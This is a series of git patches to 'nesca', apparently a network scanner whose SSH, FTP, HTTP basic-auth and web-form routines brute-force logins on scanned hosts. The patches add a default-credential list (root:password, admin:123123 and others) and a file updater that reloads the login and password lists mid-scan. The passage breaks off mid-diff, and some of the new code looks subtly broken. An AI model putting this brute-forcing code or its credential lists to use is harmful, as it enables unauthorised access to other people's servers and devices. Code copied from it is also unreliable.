QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 5c9b749..5cc3d14 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -781,7 +781,7 @@ void _connect() { } } -inline void progressOutput(long long unsigned int target) { +inline void progressOutput(unsigned long target) { char targetNPers[128] = {0}; float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); @@ -792,13 +792,13 @@ inline void progressOutput(long long unsigned int target) { sprintf(metaPercent, "%.1f", percent); } -void verboseProgress(long long unsigned int target, const char *ip) { +void verboseProgress(unsigned long target, const char *ip) { stt->doEmitionIPRANGE(QString(ip)); strcpy(currentIP, ip); progressOutput(target); } -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) { +void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) { stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); strcpy(currentIP, mask); From 8b4e8b0a91d8e65513da82cac2f717fb2ae15354 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Tue, 24 Mar 2015 00:00:53 +0300 Subject: [PATCH 57/66] Added sshpass checking. --- SSHAuth.cpp | 4 ++++ sshpass.txt | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 82b3f63..3398382 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -94,6 +94,10 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner if(!globalScanFlag) break; strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); + if (ptr1 == NULL) { + stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp)); + return -1; + } sz = ptr1 - temp; strncpy(login, temp, sz); strcpy(pass, ptr1 + 1); diff --git a/sshpass.txt b/sshpass.txt index 9589491..6510a24 100644 --- a/sshpass.txt +++ b/sshpass.txt @@ -22,5 +22,5 @@ admin:123123 admin:654321 root:password admin:pasword -test:test root:1qazXSW@ +test:test \ No newline at end of file From cf7dfeb26b3070a620bc64e3da57347249ac6c3c Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Tue, 24 Mar 2015 00:32:12 +0300 Subject: [PATCH 58/66] Import list-mode saving fix. --- nesca_startModule.cpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 5cc3d14..ce66688 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -204,7 +204,13 @@ void _SaveBackupToFile() FILE *savingFile = fopen("tempIPLst.bk", "w"); if (savingFile != NULL) { - for(int tCounter = gC; tCounter < flCounter; ++tCounter) + sprintf(ipRange, "%s-%d.%d.%d.%d\n", + currentIP, + ipsendfl[gC][0], ipsendfl[gC][1], ipsendfl[gC][2], ipsendfl[gC][3]); + fputs(ipRange, savingFile); + + ZeroMemory(ipRange, sizeof(ipRange)); + for(int tCounter = gC + 1; tCounter < flCounter; ++tCounter) { sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], From 9ef9b5dca72428067d45cda87a83feee524320a2 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Tue, 24 Mar 2015 00:49:38 +0300 Subject: [PATCH 59/66] Link clicker fix. --- nesca_3.cpp | 5 +++++ nesca_3.h | 1 + 2 files changed, 6 insertions(+) diff --git a/nesca_3.cpp b/nesca_3.cpp index b3bf5bd..2f32856 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -2187,6 +2187,11 @@ void nesca_3::changeNSTrackLabel(bool status) else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); } +void nesca_3::onLinkClicked(QUrl link) +{ + QDesktopServices::openUrl(link); +} + void nesca_3::ConnectEvrthng() { connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate())); diff --git a/nesca_3.h b/nesca_3.h index 1636de3..82ed5c5 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -61,6 +61,7 @@ protected: QString GetSSLContent(QString str); void SSLConnect(QString str); protected slots: + void onLinkClicked(QUrl); void MaxBrutingThr_ChangeValue(QString str); void ThreadDelay_ChangeValue(QString val); void ChangePingerOK(bool val); From 5de1edc66151519e2a149a29e1e9efe7d197989e Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Tue, 24 Mar 2015 14:15:38 +0300 Subject: [PATCH 60/66] Weird version data fix. --- externData.h | 3 ++- nesca_3.cpp | 21 +++++++++++++++------ 2 files changed, 17 insertions(+), 7 deletions(-) diff --git a/externData.h b/externData.h index 51d0b0b..6f3d0bf 100644 --- a/externData.h +++ b/externData.h @@ -42,11 +42,12 @@ extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], trcPort[32], trcSrvPortLine[32], saveEndIP[128], gRange[128], gFirstDom[128], gPorts[65536], - gVER[16], gProxyIP[64], gProxyPort[8], currentIP[MAX_ADDR_LEN], finalIP[32]; +extern char gVER[32]; + struct pl{ int loginCounter; int passCounter; diff --git a/nesca_3.cpp b/nesca_3.cpp index b3bf5bd..fdcbe95 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -47,7 +47,7 @@ bool privateMsgFlag = false; char inputStr[256] = {0}; bool proxyEnabledFlag = false; bool disableBlink = false; -char gVER[16] = {0}; +char gVER[32] = {0}; int nickFlag; int offlineFlag; bool OnlineMsgSentFlag = false; @@ -2545,7 +2545,7 @@ void CreateVerFile() }; } -const char *GetVer() +std::string GetVer() { int dver = 0; int tver = 0; @@ -2585,8 +2585,14 @@ const char *GetVer() tver *= 10; tver += __TIME__[4] - 48; - char db[32] = {0}; - sprintf(db, "%X-%X", dver, tver); + char dverX[16] = {0}; + char tverX[16] = {0}; + + sprintf(dverX, "%X", dver); + sprintf(tverX, "%X", tver); + + std::string db = std::string(dverX) + "-" + std::string(tverX); + //sprintf(db, "%X-%X", dver, tver); return db; } @@ -2627,8 +2633,11 @@ void _startMsgCheck() QTime time = QTime::currentTime(); qsrand((uint)time.msec()); - strcpy(gVER, GetVer()); - QString QVER(gVER); + + + const std::string &gVERStr = GetVer(); + strcpy(gVER, gVERStr.c_str()); + QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); From f0f24067be920bd58349eb0f73804dac4b73e8db Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Tue, 24 Mar 2015 17:29:27 +0300 Subject: [PATCH 61/66] Auto file update carcass --- BasicAuth.cpp | 17 +- FTPAuth.cpp | 17 +- FileUpdater.cpp | 475 ++++++++++++++++++++++++++++++++++++++++++ FileUpdater.h | 33 +++ SSHAuth.cpp | 1 + WebformWorker.cpp | 46 ++-- nesca.pro | 6 +- nesca_3.cpp | 106 ++++++---- nesca_startModule.cpp | 333 +---------------------------- vercheckerthread.cpp | 4 +- 10 files changed, 641 insertions(+), 397 deletions(-) create mode 100644 FileUpdater.cpp create mode 100644 FileUpdater.h diff --git a/BasicAuth.cpp b/BasicAuth.cpp index d0b44ce..35fbeb7 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -36,26 +36,33 @@ lopaStr BA::BABrute(const char *ip, const int port) { ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); - int passCounter = 0; + int passCounter = 0; strcpy(lps.login, "UNKNOWN"); + char login[128] = {0}; + char pass[32] = {0}; + for(int i = 0; i < MaxLogin; ++i) { + if(!lUpdated) Sleep(100); + strcpy(login, loginLst[i]); for (int j = 0; j < MaxPass; ++j) { if (!globalScanFlag) return lps; + if(!pUpdated) Sleep(100); + strcpy(pass, passLst[j]); - lpString = string(loginLst[i]) + ":" + string(passLst[j]); + lpString = string(login) + ":" + string(pass); if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps; if(checkOutput(&buffer, ip, port)) { - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); + strcpy(lps.login, login); + strcpy(lps.pass, pass); return lps; }; if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + + "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); Sleep(100); diff --git a/FTPAuth.cpp b/FTPAuth.cpp index 917a04c..d810344 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -21,30 +21,39 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { int res = 0; int passCounter = 0; + char login[128] = {0}; + char pass[32] = {0}; + for(int i = 0; i < MaxLogin; ++i) { if(!globalScanFlag) return lps; + if(!lUpdated) Sleep(100); if(strlen(loginLst[i]) <= 1) continue; + strcpy(login, loginLst[i]); + for(int j = 0; j < MaxPass; ++j) { if(!globalScanFlag) return lps; + if(!pUpdated) Sleep(100); if(strlen(passLst[j]) <= 1) continue; - lpString = string(loginLst[i]) + ":" + string(passLst[j]); + strcpy(pass, passLst[j]); + + lpString = string(login) + ":" + string(pass); res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); if (res == -2) return lps; else if (res != -1) { if (!globalScanFlag) return lps; - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); + strcpy(lps.login, login); + strcpy(lps.pass, pass); ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n'); return lps; }; if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + + "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); Sleep(100); diff --git a/FileUpdater.cpp b/FileUpdater.cpp new file mode 100644 index 0000000..c8eb4cd --- /dev/null +++ b/FileUpdater.cpp @@ -0,0 +1,475 @@ +#include "FileUpdater.h" + +long FileUpdater::oldNegLstSize = 0; +long FileUpdater::oldLoginLstSize = 0; +long FileUpdater::oldPassLstSize = 0; +long FileUpdater::oldSSHLstSize = 0; +long FileUpdater::oldWFLoginLstSize = 0; +long FileUpdater::oldWFPassLstSize = 0; +bool FileUpdater::negUpdated = false; +bool FileUpdater::lUpdated = false; +bool FileUpdater::pUpdated = false; +bool FileUpdater::wflUpdated = false; +bool FileUpdater::wfpUpdated = false; +bool FileUpdater::sshlpUpdated = false; + +void updateNegatives() { + if(GlobalNegatives != NULL) + { + for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; + delete []GlobalNegatives; + GlobalNegatives = NULL; + }; + + negativeLoader(); +} +void updateLogin() { + + if(loginLst != NULL) + { + for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; + delete []loginLst; + loginLst = NULL; + }; + + MaxLogin = 0; + + char buffFG[32] = {0}; + + FILE *loginList = fopen("login.txt", "r"); + + if(loginList != NULL) + { + while(fgets(buffFG, 32, loginList) != NULL) + { + MaxLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(loginList); + + loginLst = new char*[MaxLogin]; + + for(int j = 0; j < MaxLogin; j++) + { + loginLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, loginList) != NULL) + { + memset(loginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(loginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); + + fclose(loginList); + } + else + { + stt->doEmitionRedFoundData("No login list found"); + stt->doEmitionKillSttThread(); + }; +} +void updatePass() { + + if(passLst != NULL) + { + for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; + delete []passLst; + passLst = NULL; + }; + + MaxPass = 0; + + char buffFG[32] = {0}; + + FILE *passList = fopen("pass.txt", "r"); + + if(passList != NULL) + { + while(fgets(buffFG, 32, passList) != NULL) + { + MaxPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(passList); + + passLst = new char*[MaxPass]; + + for(int j = 0; j < MaxPass; j++) + { + passLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, passList) != NULL) + { + memset(passLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(passLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); + + fclose(passList); + } + else + { + stt->doEmitionRedFoundData("No password list found"); + stt->doEmitionKillSttThread(); + }; +} +void updateSSH() { + + if(sshlpLst != NULL) + { + for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; + delete []sshlpLst; + sshlpLst = NULL; + }; + + MaxSSHPass = 0; + + FILE *sshlpList; + ZeroMemory(buffFG, sizeof(buffFG)); + + sshlpList = fopen("sshpass.txt", "r"); + + if(sshlpList != NULL) + { + while(fgets(buffFG, 32, sshlpList) != NULL) + { + ++MaxSSHPass; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(sshlpList); + + sshlpLst = new char*[MaxSSHPass]; + + for(int j = 0; j < MaxSSHPass; j++) + { + sshlpLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, sshlpList) != NULL) + { + memset(sshlpLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); + + fclose(sshlpList); + } + else + { + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + }; +} +void updateWFLogin() { + + if(wfLoginLst != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; + delete []wfLoginLst; + wfLoginLst = NULL; + }; + + MaxWFLogin = 0; + + FILE *wfLoginList; + + ZeroMemory(buffFG, sizeof(buffFG)); + + wfLoginList = fopen("wflogin.txt", "r"); + + if(wfLoginList != NULL) + { + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + MaxWFLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfLoginList); + + wfLoginLst = new char*[MaxWFLogin]; + + for(int j = 0; j < MaxWFLogin; j++) + { + wfLoginLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + memset(wfLoginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); + fclose(wfLoginList); + } +} +void updateWFPass() { + + if(wfPassLst != NULL) + { + for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; + delete []wfPassLst; + wfPassLst = NULL; + }; + + MaxWFPass = 0; + + FILE *wfPassList; + + ZeroMemory(buffFG, sizeof(buffFG)); + + wfPassList = fopen("wfpass.txt", "r"); + + if(wfPassList != NULL) + { + while(fgets(buffFG, 32, wfPassList) != NULL) + { + MaxWFPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfPassList); + + wfPassLst = new char*[MaxWFPass]; + + for(int j = 0; j < MaxWFPass; j++) + { + wfPassLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, wfPassList) != NULL) + { + memset(wfPassLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); + fclose(wfPassList); + } +} + +long getFileSize(const char *fileName) { + std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary); + return in.tellg(); +} + +bool updateList(const char *fileName) { + long sz = getFileSize(fileName); + + if(strstr(fileName, "negatives") != NULL) { + if(sz != oldNegLstSize) { + negUpdated = false; + oldNegLstSize = sz; + updateNegatives(); + negUpdated = true; + } + } else if(strstr(fileName, "login") != NULL) { + if(sz != oldLoginLstSize) { + lUpdated = false; + oldLoginLstSize = sz; + updateLogin(); + lUpdated = true; + } + } else if(strstr(fileName, "pass") != NULL) { + if(sz != oldPassLstSize) { + pUpdated = false; + oldPassLstSize = sz; + updatePass(); + pUpdated = true; + } + } else if(strstr(fileName, "sshpass") != NULL) { + if(sz != oldSSHLstSize) { + sshlpUpdated = false; + oldSSHLstSize = sz; + updateSSH(); + sshlpUpdated = true; + } + } else if(strstr(fileName, "wflogin") != NULL) { + if(sz != oldWFLoginLstSize) { + wflUpdated = false; + oldWFLoginLstSize = sz; + updateWFLogin(); + wflUpdated = true; + } + } else if(strstr(fileName, "wfpass") != NULL) { + if(sz != oldWFPassLstSize) { + wfpUpdated = false; + oldWFPassLstSize = sz; + updateWFPass(); + wfpUpdated = true; + } + } +} + +void ReadUTF8(FILE* nFile, char *cp) { + char buffFG[256] = {0}; + int i = 0; + GlobalNegativeSize = 0; + + if(nFile != NULL) + { + while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && + ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) + && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) + { + ++GlobalNegativeSize; + }; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(nFile); + if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); + + GlobalNegatives = new char*[GlobalNegativeSize + 2]; + + while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || + (buffFG[0] == '/' && buffFG[1] == '/')) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + + if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') + { + char buffFGT[256] = {0}; + strcpy(buffFGT, buffFG); + char *ptr1 = strstr(buffFGT, "\t\t\t"); + ZeroMemory(buffFG, sizeof(buffFG)); + strcpy(buffFG, ptr1 + 3); + }; + + int bSz = strlen(buffFG); + if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + if(buffFG[bSz] == 13 || buffFG[bSz] == 10) + { + buffFG[bSz] = '\0'; + }; + if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) + { + buffFG[bSz - 1] = '\0'; + }; + if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) + { + buffFG[bSz - 2] = '\0'; + }; + + if(strstr((char*)buffFG, "\n") != 0) + { + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else + res = std::string(buffFG); +#endif + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); + memset(GlobalNegatives[i] + sz - 1, '\0', 1); + ++i; + } + else + { + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else + res = std::string(buffFG); +#endif + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); + memset(GlobalNegatives[i] + sz, '\0', 1); + ++i; + }; + + unsigned char buffcpy2[256] = {0}; + int sz = strlen((char*)buffFG); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); +#else + strncpy((char*)buffcpy2, buffFG, sz); +#endif + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); + ZeroMemory(buffFG, sizeof(buffFG)); + fclose(nFile); + } + else + { + stt->doEmitionRedFoundData("No negative list found"); + stt->doEmitionKillSttThread(); + }; +} + +void negativeLoader() { + FILE *nFile = fopen("negatives.txt", "rb"); + + if( nFile != NULL) + { + unsigned char b[3] = {0}; + fread(b,1,2, nFile); + if( b[0] == 0xEF && b[1] == 0xBB) + { + fread(b,1,1,nFile); // 0xBF + ReadUTF8(nFile, "UTF"); + } + else + { + ReadUTF8(nFile, "1251"); + }; + } +} + +int FileUpdater::updateLists() { + while(globalScanFlag) { + bool res = updateList("negatives.txt"); + res = updateList("login.txt"); + res = updateList("pass.txt"); + res = updateList("sshpass.txt"); + res = updateList("wflogin.txt"); + res = updateList("wfpass.txt"); + + Sleep(60000); + } +} diff --git a/FileUpdater.h b/FileUpdater.h new file mode 100644 index 0000000..2c75840 --- /dev/null +++ b/FileUpdater.h @@ -0,0 +1,33 @@ +#ifndef FILEUPDATER_H +#define FILEUPDATER_H + +#ifndef Sleep +#define Sleep(msecs) usleep((msecs)*1000) +#endif + +#include <fstream> +#include "externData.h" +#include "externFunctions.h" + +class FileUpdater { +public: + static long oldNegLstSize; + static long oldLoginLstSize; + static long oldPassLstSize; + static long oldSSHLstSize; + static long oldWFLoginLstSize; + static long oldWFPassLstSize; + static bool negUpdated; + static bool lUpdated; + static bool pUpdated; + static bool wflUpdated; + static bool wfpUpdated; + static bool sshlpUpdated; + +public: + static int updateLists(); + static void passLoginLoader(); + static void negativeLoader(); +}; + +#endif // FILEUPDATER_H diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 3398382..75885de 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -92,6 +92,7 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner for(int i = 0; i < MaxSSHPass; ++i) { if(!globalScanFlag) break; + if(!sshlpUpdated) Sleep(100); strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); if (ptr1 == NULL) { diff --git a/WebformWorker.cpp b/WebformWorker.cpp index c82cd86..500c289 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -6,8 +6,8 @@ lopaStr WFClass::parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, - const int *iIndex, - const int *jIndex) { + const char *login, + const char *pass) { lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; @@ -32,9 +32,9 @@ lopaStr WFClass::parseResponse(const char *ip, if(*iIndex == 0) return result; stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + - QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex])); - strcpy(result.login, wfLoginLst[*iIndex]); - strcpy(result.pass, wfPassLst[*jIndex]); + QString(login) + ":" + QString(pass)); + strcpy(result.login, login); + strcpy(result.pass, pass); return result; } else { @@ -60,14 +60,22 @@ lopaStr WFClass::doGetCheck(const char *ip, int passCounter = 0; int firstCycle = 0; + char login[128] = {0}; + char pass[32] = {0}; + for(int i = 0; i < MaxWFLogin; ++i) { if(!globalScanFlag) break; + if(!wflUpdated) Sleep(100); + strcpy(login, wfLoginLst[i]); + for(int j = firstCycle; j < MaxWFPass; ++j) { if(!globalScanFlag) break; + if(!wfpUpdated) Sleep(100); + strcpy(pass, wfPassLst[j]); - int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; if(rSize > 256) { stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); @@ -75,15 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip, }; char nip[256] = {0}; - sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]); + sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass); std::string buffer; Connector::nConnect(nip, port, &buffer); - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + + "; login/pass: "+ QString(login) + ":" + QString(pass) + + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; - result = parseResponse(ip, port, &buffer, formVal, &i, &j); + result = parseResponse(ip, port, &buffer, formVal, login, pass); if(i == 0) ++i; } firstCycle = 1; @@ -103,14 +113,22 @@ lopaStr WFClass::doPostCheck(const char *ip, int passCounter = 0; int firstCycle = 0; + char login[128] = {0}; + char pass[32] = {0}; + for(int i = 0; i < MaxWFLogin; ++i) { if(!globalScanFlag) break; + if(!wflUpdated) Sleep(100); + strcpy(login, wfLoginLst[i]); + for(int j = firstCycle; j < MaxWFPass; ++j) { if(!globalScanFlag) break; + if(!wfpUpdated) Sleep(100); + strcpy(pass, wfPassLst[j]); - int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; if(rSize > 256) { stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); @@ -120,15 +138,17 @@ lopaStr WFClass::doPostCheck(const char *ip, char nip[256] = {0}; char postData[256] = {0}; sprintf(nip, "%s%s", ip, actionVal); - sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]); + sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass); std::string buffer; Connector::nConnect(nip, port, &buffer, postData); - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + + QString(login) + ":" + QString(pass) + "; - Progress: (" + + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; - return parseResponse(ip, port, &buffer, formVal, &i, &j); + return parseResponse(ip, port, &buffer, formVal, login, pass); if(i == 0) ++i; } firstCycle = 1; diff --git a/nesca.pro b/nesca.pro index a90a56e..ec62f8d 100644 --- a/nesca.pro +++ b/nesca.pro @@ -41,7 +41,8 @@ SOURCES +=\ BasicAuth.cpp \ FTPAuth.cpp \ Threader.cpp \ - SSHAuth.cpp + SSHAuth.cpp \ + FileUpdater.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -69,7 +70,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \ BruteUtils.h \ FTPAuth.h \ Threader.h \ - SSHAuth.h + SSHAuth.h \ + FileUpdater.h FORMS += nesca_3.ui diff --git a/nesca_3.cpp b/nesca_3.cpp index bbd3a79..d3ff40e 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -471,51 +471,55 @@ void nesca_3::slotDrawTextPlacers() sceneTextPlacer->addLine(85, 110, 90, 100, penPT); sceneTextPlacer->addLine(23, 110, 83, 110, penPT); - QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt); +#if (!defined(WIN32) && 